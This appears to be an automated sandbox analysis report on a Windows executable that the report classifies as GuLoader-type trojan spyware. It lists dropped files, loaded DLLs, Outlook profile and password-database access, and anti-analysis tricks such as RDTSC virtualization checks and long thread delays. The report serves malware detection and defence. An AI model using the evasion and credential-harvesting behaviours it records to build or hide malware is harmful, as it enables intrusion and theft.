Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CD5148	7_2_35CD5148
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CD1850	7_2_35CD1850
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CD1FA8	7_2_35CD1FA8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CD2A90	7_2_35CD2A90
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CD9668	7_2_35CD9668
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CDCDC0	7_2_35CDCDC0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CD5142	7_2_35CD5142
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CDF921	7_2_35CDF921
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CD9D38	7_2_35CD9D38
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CDF930	7_2_35CDF930
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CDF4C8	7_2_35CDF4C8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CD8CC0	7_2_35CD8CC0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CDF4D8	7_2_35CDF4D8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CDF080	7_2_35CDF080
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CD8CB1	7_2_35CD8CB1
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CD1841	7_2_35CD1841
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CD0040	7_2_35CD0040
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CDF071	7_2_35CDF071
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CD0006	7_2_35CD0006
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CDEC18	7_2_35CDEC18
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CDEC28	7_2_35CDEC28
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CDE7C0	7_2_35CDE7C0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CDE7D0	7_2_35CDE7D0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CD1F9C	7_2_35CD1F9C
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CDE36D	7_2_35CDE36D
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CDE378	7_2_35CDE378
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CDDF11	7_2_35CDDF11
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CDDF20	7_2_35CDDF20
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CD0B20	7_2_35CD0B20
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CD0B30	7_2_35CD0B30
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CDDAC8	7_2_35CDDAC8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CD2A80	7_2_35CD2A80
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CDDAB9	7_2_35CDDAB9
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CDD660	7_2_35CDD660
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CDD670	7_2_35CDD670
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CDD209	7_2_35CDD209
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_35CDD218	7_2_35CDD218

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

Code function: String function: 00402B38 appears 47 times

Source: GBYfjUz4a5.exe, 00000000.00000002.1543653473.000000000044D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenametoggler triumvirates.exe4 vs GBYfjUz4a5.exe
Source: GBYfjUz4a5.exe, 00000007.00000000.1540645122.000000000044D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenametoggler triumvirates.exe4 vs GBYfjUz4a5.exe
Source: GBYfjUz4a5.exe, 00000007.00000002.2482541121.0000000002FA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs GBYfjUz4a5.exe
Source: GBYfjUz4a5.exe, 00000007.00000002.2504931204.00000000331C7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs GBYfjUz4a5.exe
Source: GBYfjUz4a5.exe	Binary or memory string: OriginalFilenametoggler triumvirates.exe4 vs GBYfjUz4a5.exe

Source: GBYfjUz4a5.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/30@5/5

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

Code function: 0_2_004045C8 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004045C8

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

Code function: 0_2_0040206A CoCreateInstance,

0_2_0040206A

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne

Jump to behavior

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

File created: C:\Users\user\AppData\Local\Temp\nsiE214.tmp

Jump to behavior

Source: GBYfjUz4a5.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.00000000335D0000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2505203474.00000000335F6000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033602000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2505203474.00000000335C2000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2505203474.00000000335B2000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: GBYfjUz4a5.exe	Virustotal: Detection: 67%
Source: GBYfjUz4a5.exe	ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

File read: C:\Users\user\Desktop\GBYfjUz4a5.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\GBYfjUz4a5.exe "C:\Users\user\Desktop\GBYfjUz4a5.exe"
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process created: C:\Users\user\Desktop\GBYfjUz4a5.exe "C:\Users\user\Desktop\GBYfjUz4a5.exe"
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process created: C:\Users\user\Desktop\GBYfjUz4a5.exe "C:\Users\user\Desktop\GBYfjUz4a5.exe"	Jump to behavior

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Udtrttede.ini

Jump to behavior

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: GBYfjUz4a5.exe

Static file information: File size 1076355 > 1048576

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: Process Memory Space: GBYfjUz4a5.exe PID: 6292, type: MEMORYSTR
Source: Yara match	File source: 00000000.00000002.1545029670.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

Code function: 0_2_00406252 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406252

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 0_2_10002DB0 push eax; ret	0_2_10002DDE
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02BD9C30 push esp; retf 02C4h	7_2_02BD9D55
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02E30007 push edi; iretd	7_2_02E30016

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

File created: C:\Users\user\AppData\Local\Temp\nst7D0.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Periwinkles.Twe	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Litiscontest.jpg	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\bakteriologiske.Brn	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Tiggerstavens.fes	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Udgyd.ini	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Udtrttede.ini	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\aktioners.jpg	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\begrdeliges.pro	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\burdie.ini	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\cartographer.jpg	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Resorberede	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Resorberede\histographies.txt	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Resorberede\icekhana.txt	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Resorberede\manxman.jpg	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Resorberede\modstaaet.jpg	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Resorberede\musicianer.spi	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Resorberede\ndder.jpg	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Resorberede\romantiserendes.ini	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Resorberede\semiquadrangle.ini	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Resorberede\sugarcane.jpg	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Resorberede\tinkle.jpg	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Resorberede\unagitatedness.txt	Jump to behavior

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	API/Special instruction interceptor: Address: 62C201A
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	API/Special instruction interceptor: Address: 262201A

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	RDTSC instruction interceptor: First address: 62585D8 second address: 62585D8 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F2394BB9B69h 0x00000006 test ax, dx 0x00000009 jmp 00007F2394BB9BC8h 0x0000000b inc ebp 0x0000000c test edi, 1E8ED3CBh 0x00000012 inc ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	RDTSC instruction interceptor: First address: 25B85D8 second address: 25B85D8 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F239539C839h 0x00000006 test ax, dx 0x00000009 jmp 00007F239539C898h 0x0000000b inc ebp 0x0000000c test edi, 1E8ED3CBh 0x00000012 inc ebx 0x00000013 rdtsc

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Memory allocated: 2BD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Memory allocated: 33360000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Memory allocated: 35360000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

Code function: 7_2_02BD3E09 rdtsc

7_2_02BD3E09

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 599547	Jump to behavior
